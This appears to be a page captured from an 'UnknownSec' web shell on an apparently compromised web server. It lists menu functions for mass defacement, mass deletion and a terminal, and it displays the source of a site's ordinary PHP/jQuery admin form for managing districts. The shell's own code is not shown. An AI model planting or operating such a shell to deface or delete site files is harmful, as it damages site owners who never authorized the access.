UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_district_old.php
<?php include "top.php";?> <script type="text/javascript"> $(document).ready(function() { var stateid = ""; gettotalstate(stateid); // Initialize State select2 $("#statename").select2(); var id = getUrlVars()['id']; var op = getUrlVars()['op']; if (id != "") { $.ajax({ method: 'POST', url: 'get_manage_district.php', data: '&id=' + id, dataType: "JSON", success: function(data) { $('#hdid').val(data.hdid); gettotalstate(data.stcode); $('#districtname').val(data.districtname); if (op == "Update") { $('#pageheading').text("Edit District"); $('#pageheading1').text("Edit District Name"); $('#btnopration').text("Update"); document.getElementById("districtname").focus(); } else if (op == "Delete") { $('#pageheading').text("Delete District"); $('#pageheading1').text("Delete District Name"); $('#btnopration').text("Delete"); document.getElementById("statename").setAttribute('disabled', true); document.getElementById("districtname").setAttribute('disabled', true); } } }); } }); function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function gettotalstate(val) { $.ajax({ type: "Get", url: "get_total_state.php", success: function(res) { var data = JSON.parse(res); var sel = $("#statename"); sel.empty(); $("#statename").append('<option>Select State</option>'); for (var i = 0; i < data.length; i++) { if (data[i].stcode == val) { sel.append('<option value="' + data[i].stcode + '" selected=true>' + data[i] .statename + '</option>'); } else { sel.append('<option value="' + data[i].stcode + '">' + data[i].statename + '</option>'); } } /// $("#state").html(data); } }); } function savedistrict() { var flag = true; var inputField1 = document.getElementById("statename"); if (inputField1.value == "Select") { flag = false; alert("Please enter state name"); document.getElementById("statename").focus(); return false; } var inputField2 = document.getElementById("districtname"); if (inputField1.value == "") { flag = false; alert("Please enter district name"); document.getElementById("districtname").focus(); return false; } var statename = document.getElementById("statename").value; var districtname = document.getElementById("districtname").value; var hdid = document.getElementById("hdid").value; var btnopration = document.getElementById("btnopration").innerHTML; var text = "Do you want " + btnopration + " district"; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'manage_district.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&statename=' + statename + '&districtname=' + districtname + '&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "1") { alert("Save Successfully"); $('#hdid').val(""); $('#statename').val(""); $('#districtname').val(""); $('#btnopration').text("Save"); window.location.href = "list_district.php"; } else if (msg == "2") { alert("Already Exist"); $('#hdid').val(""); $('#statename').val(""); $('#districtname').val(""); $('#btnopration').text("Save"); window.location.href = "list_district.php"; } else if (msg == "3") { alert("Update Successfully"); $('#hdid').val(""); $('#statename').val(""); $('#districtname').val(""); $('#btnopration').text("Save"); window.location.href = "list_district.php"; } else if (msg == "4") { alert("Delete Successfully"); $('#hdid').val(""); $('#statename').val(""); $('#districtname').val(""); $('#btnopration').text("Save"); window.location.href = "list_district.php"; } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add District</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_district.php">District List</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class=" profile"> <div class="profile-bottom"> <h3><i class="fa fa-edit"></i><label name="pageheading1" id="pageheading1" class="control-label">Add District Name</label></h3> <div class="col-md-12 form-group1 group-mail"> <input type="hidden" class="form-control1" name="hdid" id="hdid"> <label class="control-label">State Name</label> <select id="statename" name="statename" class="form-control1" width="100%"> </select> </div> <div class="clearfix"> </div> <div class="form-group"> <div class="col-sm-12 form-group1 group-mail"> <label for="districtname" class="control-label">District Name</label> <input type="text" class="form-control1" id="districtname" name="districtname" placeholder="District Name"> </div> </div> <div class="clearfix"> </div> <div class="col-md-12 form-group"> <button type="submit" id="btnopration" class="btn btn-default" onclick="savedistrict();">Save</button> </div> <div class="clearfix"> </div> </div> </div> <!--//grid--> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec